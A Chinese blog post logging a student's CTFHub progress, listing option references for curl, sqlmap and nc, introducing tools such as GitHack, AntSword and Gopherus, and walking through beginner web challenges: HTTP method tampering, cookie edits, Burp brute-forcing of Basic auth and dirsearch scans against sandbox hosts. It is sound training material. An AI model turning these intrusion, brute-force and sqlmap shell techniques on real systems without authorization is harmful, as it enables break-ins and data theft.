CTFHub 技能树学习记录

自从选了信息安全这个专业后,本人想要通过CTF 来接触信息安全方面的实战知识,因此接触到了 CTFHub,由此 blog 记录我的技能树点亮学习记录。

因为笔者也是边学边写的,大多理解都是我当时探索出来的

为了保证知识量的充分,可能会忽略排版

不保证完全正确,如有错误,欢迎指正,谢谢

技能树分布

(1)Web

(1.1)Web进阶

(2)Pwn

(3)Reverse

(4)Crypto

(5)Misc

(6)彩蛋

(7)BlockChain

常用命令和工具

这里先给出解题比较常用的命令和工具(当然每题的解法多种多样,本人小白一个,我会尽力去找更多的解法的,如有不全,请多包涵)

提醒一下有些文件会报毒,我是全部都放在虚拟机里面

因为这里要用的工具我都自己有,需要的评论就行

1.curl

详情请点击这里

简单的命令集合
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
-a/--append 上传文件时,附加到目标文件  
-A/--user-agent <string> 设置用户代理发送给服务器
--anyauth 可以使用“任何”身份验证方法
-b/--cookie <name=string/file> cookie 字符串或文件读取位置
--basic 使用 HTTP 基本验证
-B/--use-ascii 使用 ASCII /文本传输
-c/--cookie-jar <file> 操作结束后把 cookie 写入到这个文件中
-C/--continue-at <offset> 断点续转
-d/--data <data> HTTP POST 方式传送数据
--data-ascii <data> 以 ascii 的方式 post 数据
--data-binary <data> 以二进制的方式 post 数据
--negotiate 使用 HTTP 身份验证
--digest 使用数字身份验证
--disable-eprt 禁止使用 EPRT 或 LPRT
--disable-epsv 禁止使用 EPSV
-D/--dump-header <file> 把 header 信息写入到该文件中
--egd-file <file> 为随机数据(SSL)设置 EGD socket 路径
--tcp-nodelay 使用 TCP_NODELAY 选项
-e/--referer 来源网址
-E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)
--cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)
--key <key> 私钥文件名 (SSL)
--key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)
--pass <pass> 私钥密码 (SSL)
--engine <eng> 加密引擎使用 (SSL). "--engine list" for list
--cacert <file> CA 证书 (SSL)
--capath <directory> CA 目录 (made using c_rehash) to verify peer against (SSL)
--ciphers <list> SSL 密码
--compressed 要求返回是压缩的形势 (using deflate or gzip)
--connect-timeout <seconds> 设置最大请求时间
--create-dirs 建立本地目录的目录层次结构
--crlf 上传是把 LF 转变成 CRLF
-f/--fail 连接失败时不显示 http 错误
--ftp-create-dirs 如果远程目录不存在,创建远程目录
--ftp-method [multicwd/nocwd/singlecwd] 控制 CWD 的使用
--ftp-pasv 使用 PASV/EPSV 代替端口
--ftp-skip-pasv-ip 使用 PASV 的时候,忽略该 IP 地址
--ftp-ssl 尝试用 SSL/TLS 来进行 ftp 数据传输
--ftp-ssl-reqd 要求用 SSL/TLS 来进行 ftp 数据传输
-F/--form <name=content> 模拟 http 表单提交数据
-form-string <name=string> 模拟 http 表单提交数据
-g/--globoff 禁用网址序列和范围使用{}和[]
-G/--get 以 get 的方式来发送数据
-h/--help 帮助
-H/--header <line>自定义头信息传递给服务器
--ignore-content-length 忽略的 HTTP 头信息的长度
-i/--include 输出时包括 protocol 头信息
-I/--head 只显示文档信息
-j/--junk-session-cookies 读取文件进忽略 session cookie
--interface <interface> 使用指定网络接口/地址
--krb4 <level> 使用指定安全级别的 krb4
-k/--insecure 允许不使用证书到 SSL 站点
-K/--config 指定的配置文件读取
-l/--list-only 列出 ftp 目录下的文件名称
--limit-rate <rate> 设置传输速度
--local-port<NUM> 强制使用本地端口号
-m/--max-time <seconds> 设置最大传输时间
--max-redirs <num> 设置最大读取的目录数
--max-filesize <bytes> 设置最大下载的文件总量
-M/--manual 显示全手动
-n/--netrc 从 netrc 文件中读取用户名和密码
--netrc-optional 使用 .netrc 或者 URL 来覆盖-n
--ntlm 使用 HTTP NTLM 身份验证
-N/--no-buffer 禁用缓冲输出
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-p/--proxytunnel 使用 HTTP 代理
--proxy-anyauth 选择任一代理身份验证方法
--proxy-basic 在代理上使用基本身份验证
--proxy-digest 在代理上使用数字身份验证
--proxy-ntlm 在代理上使用 ntlm 身份验证
-P/--ftp-port <address> 使用端口地址,而不是使用 PASV
-Q/--quote <cmd>文件传输前,发送命令到服务器
-r/--range <range>检索来自 HTTP/1.1 或 FTP 服务器字节范围
--range-file 读取(SSL)的随机文件
-R/--remote-time 在本地生成文件时,保留远程文件时间
--retry <num> 传输出现问题时,重试的次数
--retry-delay <seconds> 传输出现问题时,设置重试间隔时间
--retry-max-time <seconds> 传输出现问题时,设置最大重试时间
-s/--silent 静音模式。不输出任何东西
-S/--show-error 显示错误
--socks4 <host[:port]> 用 socks4 代理给定主机和端口
--socks5 <host[:port]> 用 socks5 代理给定主机和端口
--stderr <file>
-t/--telnet-option <OPT=val> Telnet 选项设置
--trace <file> 对指定文件进行 debug
--trace-ascii <file> Like --跟踪但没有 hex 输出
--trace-time 跟踪/详细输出时,添加时间戳
-T/--upload-file <file> 上传文件
--url <URL> Spet URL to work with
-u/--user <user[:password]>设置服务器的用户和密码
-U/--proxy-user <user[:password]>设置代理用户名和密码
-v/--verbose
-V/--version 显示版本信息
-w/--write-out [format]什么输出完成后
-x/--proxy <host[:port]>在给定的端口上使用 HTTP 代理
-X/--request <command>指定什么命令
-y/--speed-time 放弃限速所要的时间。默认为 30
-Y/--speed-limit 停止传输速度的限制,速度时间'秒
-z/--time-cond 传送时间设置
-0/--http1.0 使用 HTTP 1.0
-1/--tlsv1 使用 TLSv1(SSL)
-2/--sslv2 使用 SSLv2 的(SSL)
-3/--sslv3 使用的 SSLv3(SSL)
--3p-quote like -Q for the source URL for 3rd party transfer
--3p-url 使用 url,进行第三方传送
--3p-user 使用用户名和密码,进行第三方传送
-4/--ipv4 使用 IP4
-6/--ipv6 使用 IP6
-#/--progress-bar 用进度条显示当前的传送状态
————
后置:
-v 显示详细信息(verbose 缩写),包括 IP 解析过程
-i 显示头信息
-I 只显示头信息

2.burp

这个很有用,集渗透,爆破等等一系列模块的软件,这里不多介绍,有兴趣可以去看国人写的介绍 👉Burp Suite 实战指南

软件没有的话懒得去找可以留言找我,burp 实战指南 pdf 版我也有

3.浏览器 f12 自带的开发者模式

有关在客户端方面的很多都用开发者模式解决

4.dirsearch

dirsearch 是一个基于 python 的命令行工具,用于暴力扫描页面结构,包括网页中的目录和文件,用于探测 WEB 服务器下的敏感文件/目录的命令行工具。

1
2
3
4
5
6
7
8
常用命令
python dirsearch.py -u http://xxxx //日常使用

python dirsearch.py -u http://xxxx -r //递归扫描,不过容易被检测

python dirsearch.py -u http://xxxx -r -t 30 //线程控制请求速率

python dirsearch.py -u http://xxxx -r -t 30 --proxy 127.0.0.1:8080 //使用代理

下载教程及说明 👉点击直达

ps:网上一大坨教程我找了好久才找到有用的 😭

5.GitHack

GitHack is a .git folder disclosure exploit.

It rebuild source code from .git folder while keep directory structure unchanged.

GitHack 是一个.git 泄露利用脚本,通过泄露的.git 文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL 注射等 web 安全漏洞。
下载需要使用 git 命令

windows 下载 git

linux 系统下载 git 使用命令行yum install git

然后在自己想要的文件位置使用命令

1
git clone https://github.com/BugScanTeam/GitHack

值得一提的是 GitHack 只能在 Python2 的环境下运行

6.dvcs-ripper

泄露漏洞利用工具,在 linux 里面使用(可以找.svn,.hg 等等)

使用 git 下载

1
git clone [email protected]:kost/dvcs-ripper.git

然后使用命令下载需要组件

1
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

即可

7.password

字典需要准备好,用于爆破、

8.sqlmap

sqlmap详细使用教程

sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

1.命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
sqlmap常用命令
-h 显示基本帮助信息

-hh 显示高级帮助信息

--version 显示版本号

-v 详细等级(0-6 默认 1)

0:只显示python错误以及重要信息

1:显示信息以及警告

2:显示debug消息

3:显示注入payload

4:显示http请求

5:显示http响应头·

6:显示http响应内容

Target:

-u 指定目标url

-d 直接连接数据库

-l 从burp代理日志的解析目标

-r 从文件中加载http请求

-g 从google dork的结果作为目标url

-c 从INI配置文件中加载选项

Request

-A 指定user-agent头

-H 额外的header

-method= 指定HTTP方法(GET/POST)

--data= 通过POST提交数据

--param-del= 指定参数分隔符

--cookie= 指定cookie的值

--cookie-del= 指定cookie分隔符

--drop-set-cookie 扔掉response中的set-cookie头

--random-agent 使用随机的user-agent头

--host= 设置host头

--referer= 指定referer头

--headers= 额外的headers

--auth-type= http认证类型(Basic,NTLM,Digest)

--auith-cred= http认证凭证(账号:密码)

--ignore-proxy 忽略系统代理(常用于扫描本地文件)

--proxy= 使用代理

--proxy-cred= 代理认证证书(账号:密码)

--delay= 设置延迟时间(两个请求之间)

--timeout= 超时时来连接前等待(默认 30)

--retries= 连接超时时重试次数(默认 3)

--randomize= 随机更改指定的参数的值

--safe-url= 在测试期间经常访问的URL

--safe-post= POST数据发送到安全的URL

--safe-freq= 两次请求之间穿插一个安全的URL

--skip-urlencode 跳过payload数据的URL编码

--chunked 使用HTTP分块传输加密POST请求

--hpp 使用HTTP参数pollution方法(常用于绕过IPS/IDS检测)

--force-ssl 强制使用SSL/HTTPS

--eval=value 请求之前提供Python代码(eg:"import hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization

-o 打开所有优化开关

--predict-output 预测输出(与--threads不兼容)

--keep-alive 建立长久的HTTP(S)连接 (与--proxy不兼容)

--null-connection 空连接

--threads=value 设置线程(默认 1)

Injection

-p 指定测试参数

--skip= 跳过指定参数的测试

--skip-static 跳过测试静态的参数

--dbms= 指定具体DBMS

--os= 指定DBMS操作系统

--invalid-bignum 使用大数字使值无效

--invalid-logical 使用逻辑符使值无效

--invalid-string 使用字符串使值无效

--no-cast 关闭payload铸造机制

--no-escape 关闭字符转义机制(默认自动开启)

--prefix= 加入payload前缀

--suffix= 加入payload后缀

--tamper= 指定使用的脚本

Detectiong

--level= 指定测试的等级(1-5 默认为1)

--risk= 指定测试的风险(0-3 默认为1)

--string= 登录成功时,页面所含有的“关键字” 用于证明已经登录成功

--not-string= 登录成功时,页面所含有的“关键字” 用于证明已经登录失败

--code= 查询为真时,匹配的HTTP代码

--smart 当有大量检测目标时,只选择基于错误的检测结果

--text-only 仅基于文本内容比较网页

--titles 仅基于标题比较网页

Techniques

--technique= 指定sql注入技术(默认BEUSTQ)

--time-sec= 基于时间注入检测相应的延迟时间(默认为5秒)

--union-clos= 进行查询时,指定列的范围

--union-char= 指定暴力破解列数的字符

Fingerprint

-f 查询目标DBMS版本指纹信息

Emuneration

-a 查询所有

-b 查询目标DBMS banner信息

--current-user 查询目标DBMS当前用户

--current-db 查询目标DBMS当前数据库

--is-dba 查询目标DBMS当前用户是否为DBA

--users 枚举目标DBMS所有的用户

--paswords 枚举目标DBMS用户密码哈希值

--privileges 枚举目标DBMS用户的权限

--roles 枚举DBMS用户的角色

--dbs 枚举DBMS所有的数据库

--tables 枚举DBMS数据库中所有的表

--columns 枚举DBMS数据库表中所有的列

--count 检索表的条目的数量

--dump 存储DBMS数据库的表中的条目

--dump-all 存储DBMS所有数据库表中的条目

--D db 指定进行枚举的数据库名称

--T table 指定进行枚举的数据库表名称

--C column 指定进行枚举的数据库列名称

--exclude-sysdbs 枚举表时排除系统数据库

--sql-query 指定查询的sql语句

--sql-shell 提示输入一个交互式sql shell

Brute force

--common-tables 暴力破解表

--common-colomns 暴力破解列

File system access

--file-read 从目标数据库管理文件系统读取文件

--file-write 上传文件到目标数据库管理文件系统

--file-dest 指定写入文件的绝对路径

--os-cmd= 执行操作系统命令

--os-shell 交互式的系统shell

--os-pwn 获取一个OOB shell,Meterpreter或者VNC

--os-smbrelay 一键 获取一个OOB shell,Meterpreter或者VNC

--os-bof 储存过程缓冲区溢出利用

--os-esc 数据库进程用户权限提升

--msf-path= Metasploit Framework本地安装路径

General

-s sqlite会话文件保存位置

-t 记录所有HTTP流量到指定文件中

--batch 测试过程中, 执行所有默认配置

--charset=v 强制用于数据检索的字符编码

--crawl= 从目标URL开始爬取网站

--crawl-exclude= 禁止爬取某个页面(eg:logout)

--csv-del= 指定CSV输出中使用的的字符

--dump-format= 储存数据的方式(CSV(default),HTML,SQLITE)

--flush-session 刷新当前目标的会话文件

--fresh-queries 忽略会话文件中储存的查询结果,重新查询

--hex 使用DBMS hex函数进行数据检索

--outpout-dir= 自定义输出目录

--save= 保存选项到INI配置文件中

--scope= 使用正则表达式从提供的日志中guo'l

--alert 再找到SQL注入时运行主机操作系统命令

--purge-output 安全的从输出目录中删除所有内容

--sqlmap-shell 提示输入交互式sqlmap shell

--update 更新sqlmap

2.注入技术简介

–technique= (默认全部使用)

B 基于布尔的盲注

T 基于时间的盲注

E 基于报错的注入

U 基于UNION查询注入

S 基于多语句查询注入

3.获取目标方式

1.指定目标url

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"

2.从文件中获取多个url

sqlmap -m 1.txt

3.从文件中加载HTTP请求

sqlmap -r url.txt

4.利用google获取目标

sqlmap -g "inurl:\".php?id=1\""

5.从burp日志中获取目标

sqlmap -l burp.txt

9.HackBar

Hackbar是一个Firefox的插件,它的功能类似于地址栏,但是它里面的数据不受服务器的相应触发的重定向等其它变化的影响。
有网址的载入于访问,联合查询,各种编码,数据加密功能。
这个Hackbar可以帮助你在测试SQL注入,XSS漏洞和网站的安全性,主要是帮助开发人员做代码的安全审计,检查代码,寻找安全漏洞。
Hackbar 在Burpsuite中也有该插件
安装及使用教程

10.XSS渗透测试管理系统

网上推荐的有xss-platform或者BlueLotus_XSS,本人用的是BlueLotus_XSS(因为有docker比较方便部署),下面的方法亲测有用(xss-flatform的我还没有用,所以我还是建议用BlueLotus_XSS)

(如果是在不会搭建,我搭建的可以借个你用但是我服务器到期时间24-03-25.,私信我)

1.xss-flatform

搭建xss-platform平台

2.BlueLotus_XSS

docker搭建xss平台

11.中国蚁剑

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。

通俗的讲:中国蚁剑是 一 款比菜刀还牛的shell控制端软件。

中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点点滴滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!

核心功能
  • Shell代理功能
  • Shell管理
  • 文件管理
  • 虚拟终端
  • 数据库管理
  • 插件市场
  • 插件开发

中国蚁剑(AntSword)安装、使用教程

如果只下载了antSword,启动目录里面的exe文件会自动下载AntSword加速器,记得用管理员身份下载,不然安装会失败,然后最好放到虚拟机里面,报毒就不需要管了,留下来也没有问题。第二次点击exe文件就能打开了

12.Gopherus

Gopherus工具是用来专门生成gopher协议的payload工具,通过gopher协议的以及各种被攻击应用的tcp包特点来构造payload

目前支持生成payload应用有:

  • MySQL (Port:3306)
  • FastCGI (Port:9000)
  • Memcached (Port:11211)
  • Redis (Port:6379)
  • Zabbix (Port:10050)
  • SMTP (Port:25)

github地址

下载后记得使用python2.x,我用python3不行

然后就是我是在kali里面下载的,我windows运行的话会乱码😥

简单指令就是

1
python2 gopherus --exploit *** # ***是选择的被攻击的类型
Command Description
gopherus --help Help
gopherus --exploit Arguments can be :
–exploit mysql
–exploit postgresql
–exploit fastcgi
–exploit redis
–exploit zabbix
–exploit pymemcache
–exploit rbmemcache
–exploit phpmemcache
–exploit dmpmemcache
–exploit smtp

13.nc

nc命令用法实例总结

nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具

作用

1、实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

2、端口的扫描,nc可以作为client发起TCP或UDP连接

3、机器之间传输文件

4、机器之间网络测速

参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-g<网关> 设置路由器跃程通信网关,最多可设置8个。

-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。

-h 在线帮助。

-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。

-l 使用监听模式,管控传入的资料。

-n 直接使用IP地址,而不通过域名服务器。

-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

-p<通信端口> 设置本地主机使用的通信端口。

-r 乱数指定本地与远端主机的通信端口。

-s<来源位址> 设置本地主机送出数据包的IP地址。

-u 使用UDP传输协议。

-v 显示指令执行过程。

-w<超时秒数> 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

14.c-jwt-cracker

下载地址:brendan-rius/c-jwt-cracker: JWT brute force cracker written in C (github.com)

我是下载到kali里面

下载之后记得make一下

我的提醒我没有openssl文件

使用

1
sudo apt-get install libssl-dev

就能下载成功了

15.jwt_tool

用git下载到kali里面就行了

1
git clone https://github.com/ticarpi/jwt_tool.git

有密码验证的地方就会有爆破,不过JWT的密钥爆破需要一定的前提条件:

  • 已知JWT使用的加密算法
  • 已知一段有效的、已签名的token
  • 签名使用的密钥是弱密钥(可以爆破出来)

1.Web

Web 前置技能

HTTP 协议

1.请求方式

题目

1.png

本人英语不行>﹏<

但是大概的意思就是这个 HTTP 请求的方式是 GET,要我们使用 CTFHUB 的方式请求才能给我们 flag

我们可以打开 F12 看网络监听看到 index.php,改变请求方式有两种

2.png

1.curl

使用 cmd 的 curl 去请求界面

输入

1
curl -v -X CTFHUB http://challenge-35ed37f948637891.sandbox.ctfhub.com:10800/index.php

返回了一个 flag

3.png

当然后面的网站我们应该不一样不能偷懒直接复制

2.burp

过程就是用 proxy 模块抓包,然后 seng 到 repeater 模块进行修改 methed,最后 send 就能得到 flag

4.png

5.png

2. 302 跳转

前置知识

  1. HTTP 重定向

    服务器无法处理浏览器发送过来的请求(request),服务器告诉浏览器跳转到可以处理请求的 url 上。(浏览器会自动访问该 URL 地址,以至于用户无法分辨是否重定向了。)
    重定向的返回码 3XX 说明。Location 响应首部包含了内容的新地址或是优选地址的 URL。

  2. 状态码

    状态码大全

    • 301 redirect: 301 代表永久性转移(Permanently Moved),在请求的 URL 已被移除时使用。响应的 Location 首部中应该包含资源现在所处的 URL。
    • 302 redirect: 302 代表暂时性转移(Temporarily Moved ),与 301 状态码类似,但是,客户端应该使用 Location 首部给出的 URL 来临时定位资源,将来的请求仍然使用老的 URL。
    • 304 redirect: 如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个 304 状态码。简单的表达就是:服务端已经执行了 GET,但文件未变化。
    • 301 和 302 状态码都表示重定向,就是说浏览器在拿到服务器返回的这个状态码后会自动跳转到一个新的 URL 地址,这个地址可以从响应的 Location 首部中获取(用户看到的效果就是他输入的地址 A 瞬间变成了另一个地址 B)——这是它们的共同点。他们的不同在于。301 表示旧地址 A 的资源已经被永久地移除了(这个资源不可访问了),搜索引擎在抓取新内容的同时也将旧的网址交换为重定向之后的网址;302 表示旧地址 A 的资源还在(仍然可以访问),这个重定向只是临时地从旧地址 A 跳转到地址 B,搜索引擎会抓取新的内容而保存旧的网址。
  3. HTTP 中的重定向和请求转发的区别

    转发是服务器行为,重定向是客户端行为。为什么这样说呢,这就要看两个动作的工作流程:

    转发过程:客户浏览器发送 http 请求——>web 服务器接受此请求——>调用内部的一个方法在容器内部完成请求处理和转发动作——>将目标资源发送给客户;

    在这里,转发的路径必须是同一个 web 容器下的 url,其不能转向到其他的 web 路径上去,中间传递的是自己的容器内的 request。在客户浏览器路径栏显示的仍然是其第一次访问的路径,也就是说客户是感觉不到服务器做了转发的。转发行为是浏览器只做了一次访问请求

    重定向过程:客户浏览器发送 http 请求——>web 服务器接受后发送 302 状态码响应及对应新的 location 给客户浏览器——>客户浏览器发现是 302 响应,则自动再发送一个新的 http 请求,请求 url 是新的 location 地址——>服务器根据此请求寻找资源并发送给客户。

    在这里 location 可以重定向到任意 URL,既然是浏览器重新发出了请求,则就没有什么 request 传递的概念了。在客户浏览器路径栏显示的是其重定向的路径,客户可以观察到地址的变化的。重定向行为是浏览器做了至少两次的访问请求的

    客户端 request A,服务器响应,并 response 回来,告诉浏览器,你应该去 B。这个时候 IE 可以看到地址变了,而且历史的回退按钮也亮了。重定向可以访问自己 web 应用以外的资源。在重定向的过程中,传输的信息会被丢失

这些在浏览器或者 burp 里面抓的包都能看到

先看题目

1.png

点击 Give me flag 后

2.png

可以看到链接进行了跳转,这时候我们打开 f12 发现 302

3.png

发现获取 favicon.ico 时出现的 302

4.png

同时我们去看 burp,发现当我们在在第一个页面访问第二个页面时抓包,发现最初访问的是 index.php 而不是出现的是 index.html,(下面第一个图是点击了 Give me flag 去第二个页面,第二个图是在第二个页面刷新了一下)这就是暂时性跳转 302,原网址依然保留,接着直接请求它

5.png

6.png

1.curl

因为 curl 不会进行跳转,curl -L 会跟随跳转

直接抓取出现 302 的域名(注意别输入错误)

7.png

2.burp

老样子转给 repeater 处理

把 index.html 换成 index.php 即可

8.png

所谓“cookie”数据是指某些网站为了辨别用户身份,储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。Cookie 是一段不超过 4KB 的小型文本数据,由一个名称(Name)、一个值(Value)和其它几个用于控制 Cookie 有效期、安全性、使用范围的可选属性组成。

简单介绍一下 cookie 和 session

  1. session
    简单的说,当你登陆一个网站的时候,如果 web 服务器端使用的是 session,那么所有的数据都保存在服务器上,客户端每次请求服务器的时候会发送当前会话 sessionid,服务器根据当前 sessionid 判断相应的用户数据标志,以确定用户是否登陆或具有某种权限。由于数据是存储在服务器上面,所以你不能伪造。

  2. cookie
    sessionid 是服务器和客户端连接时候随机分配的,如果浏览器使用的是 cookie,那么所有数据都保存在浏览器端,比如你登陆以后,服务器设置了 cookie 用户名,那么当你再次请求服务器的时候,浏览器会将用户名一块发送给服务器,这些变量有一定的特殊标记。服务器会解释为 cookie 变量,所以只要不关闭浏览器,那么 cookie 变量一直是有效的,所以能够保证长时间不掉线。

    如果你能够截获某个用户的 cookie 变量,然后伪造一个数据包发送过去,那么服务器还是 认为你是合法的。所以,使用 cookie 被攻击的可能性比较大。

    如果 cookie 设置了有效值,那么 cookie 会保存到客户端的硬盘上,下次在访问网站的时候,浏览器先检查有没有 cookie,如果有的话,读取 cookie,然后发送给服务器。

    所以你在机器上面保存了某个论坛 cookie,有效期是一年,如果有人入侵你的机器,将你的 cookie 拷走,放在他机器下面,那么他登陆该网站的时候就是用你的身份登陆的。当然,伪造的时候需要注意,直接 copy cookie 文件到 cookie 目录,浏览器是不认的,他有一个 index.dat 文件,存储了 cookie 文件的建立时间,以及是否有修改,所以你必须先要有该网站的 cookie 文件,并且要从保证时间上骗过浏览器.

  3. 共同点

    cookie 和 session 都是用来跟踪浏览器用户身份的会话方式。

  4. 区别

    cookie 数据保存在客户端,session 数据保存在服务端。

然后就是关于本题

1.png

大意是只有 admin 才能获取 flag,这个时候我们直接去找 cookie 就行了

1.burp

使用 burp 发现 admin=0,改成 1 就行

2.png

3.png

2.f12

去找浏览器的 cookie 值,并改成 1

4.png

直接去存储里面去找

5.png

或者用 document 找 cookie

6.png

记得刷新。

4.基础认证

题目介绍:在 HTTP 中,基本认证(英语:Basic access authentication)是允许 http 用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 维基百科(维基百科需要翻墙)基本认证

下面是维基百科内容(简单摘了一点)

HTTP中,基本认证(英语:Basic access authentication)是允许http 用户代理(如:网页浏览器)在请求时,提供 用户名密码 的一种方式。

在进行基本认证的过程里,请求的HTTP 头字段会包含Authorization字段,形式如下: Authorization: Basic <凭证>,该凭证是用户和密码的组和的base64 编码

优点:HTTP 基本认证 是一种十分简单的技术,使用的是 HTTP 头部字段 强制用户访问网络资源,而不是通过必要的cookie、会话 ID、登录页面等(非获取访问控制的)手段。

基本上所有流行的网页浏览器都支持基本认证[2]。基本认证很少在可公开访问的互联网网站上使用,有时候会在小型私有系统中使用(如路由器网页管理接口)。之后诞生的 HTTP 摘要认证 用于替代基本认证,允许密钥以相对安全的方式在不安全的通道上传输。

程序员和系统管理员有时会在可信网络环境中使用基本认证。由于,基本认证使用的是 Base64,可解码成明文,因此使用Telnet等网络协议工具进行监视时,可以直接获取内容,并用于诊断。

缺点:基本认证 并没有为传送凭证(英语:transmitted credentials)提供任何机密性的保护。仅仅使用 Base64 编码并传输,而没有使用任何 加密散列算法。因此,基本认证常常和 HTTPS 一起使用,以提供机密性。

现存的浏览器保存认证信息直到标签页或浏览器被关闭,或者用户清除历史记录。[3]HTTP没有为服务器提供一种方法指示客户端丢弃这些被缓存的密钥。这意味着服务器端在用户不关闭浏览器的情况下,并没有一种有效的方法来让用户退出。

同时 HTTP 并没有提供退出机制。但是,在一些浏览器上,存在清除凭证(credentials )缓存的方法。

说实话,第一次见,完全摸不着头脑,下载了附件,看到了是密码字典,感觉确实是利用 burp 进行爆破字典,但由于接触 burp 时间甚少,只知道有这个模块

虽然网上也有很多教程,但是毕竟我都跟着做了一遍,这里就记录一下吧

1.burp

首先还是经典 burp 抓包

首先进入链接,点击 click

1.png

2.png

如果直接取消会进入,在此之前我们先抓包

3.png

send 后发现“Do u know admin ?”推断用户名应该是 admin

4.png

然后再次去输入账号用户名和密码后进行抓包发现了一串 base64 编码,随便去个网站)进行解码

7.png

5.png

发现刚好是我刚才输入的账号密码,注意这里有个:

6.png

然后就是利用 burp 进行爆破

首先将刚才获取的包 send 给 Intruder 模块,选择 Sniper(狙击手)模式,然后选择 Basic 后面那一串,然后点击 Add,然后两边就会出现“§”这种字符

8.png

接着转入到 payloads 进行设置 在 Payload Options 上点击 Load 打开刚刚下载的附件密码包

14.png

9.png

然后设置 rule,add 选择 add prefix(添加前缀),即我们刚才的admin:

10.png

再次 add 添加 encode 解码部分选择 base64

11.png

最后记得取消下面的 √(机翻:这个选择能在最终 payload(有效负载)中对选定的字符进行 url 编码,以便在 HTTP 请求中安全传输)

12.png

最后得到的样子是

13.png

最后点击右上角的 start attack 进行爆破

等它跑密码,记得开跑前把代理关掉,然后跑的过程中会发现有一条的 Status 和 Length 不同,点开这个复制 Basic 值,然后到 Decoder 进行编译,得到用户名和密码,然后拿着用户名和密码去登录,得到 flag。

15.png

总结

1.了解 burp 的新功能,可以增加爆破字典的规则,增加前缀、后缀、编码…等

2.基础认证(basic 认证):
Basic 认证是一种较为简单的 HTTP 认证方式,客户端通过明文(Base64 编码格式)传输用户名和密码到服务端进行认证,通常需要配合 HTTPS 来保证信息传输的安全。

当 request 第一次到达服务器时,服务器没有认证的信息,服务器会返回一个 401 Unauthozied 给客户端。
认证之后将认证信息放在 session,以后在 session 有效期内就不用再认证了

5.响应包源代码
1.f12

顾名思义,在发送 request 后得到的 response 里面直接看源码就行了我还以为是要玩贪吃蛇

1.png

Web 实战

1.信息泄露

1.目录遍历

题目

1.png

就是自己一个一个去找就行了

2.png

2.PHPINFO

题目

1.png

直接在页面使用 ctrl + f 寻找

3.png

3.备份文件下载
1.网站源码

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

题目

1.png

这个需要使用工具 dirsearch,下载教程及说明 👉点击直达

使用命令(中间的 url 用自己的)对目标 url 目录进行扫描(题目时常 30 分钟我扫了 25 分钟 😅)

1
python dirsearch.py -u http://challenge-51c65819981ea505.sandbox.ctfhub.com:10800/ -e tar tar.gz zip rar

6.png

扫完后找状态码为 200 的,可以找到一个压缩包:www.zip
把它添加到 url中回车发现网站下载下来了一个压缩包,打开后发现里面有一个 flag_133317377.txt,兴奋的打开它却发现没有 flag。。。

7.png

8.png

我又尝试在网页上访问它(在网页原 url 后加上/后再加上 flag_133317377.txt 即可),flag 出来了!!
9.png

2.bak 文件

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

看到这题我第一时间以为加个 index.php 就行了,但是一点反应都没有

10.png

老老实实用 dirsearch

1
python dirsearch.py -u http://**** -e *

11.png
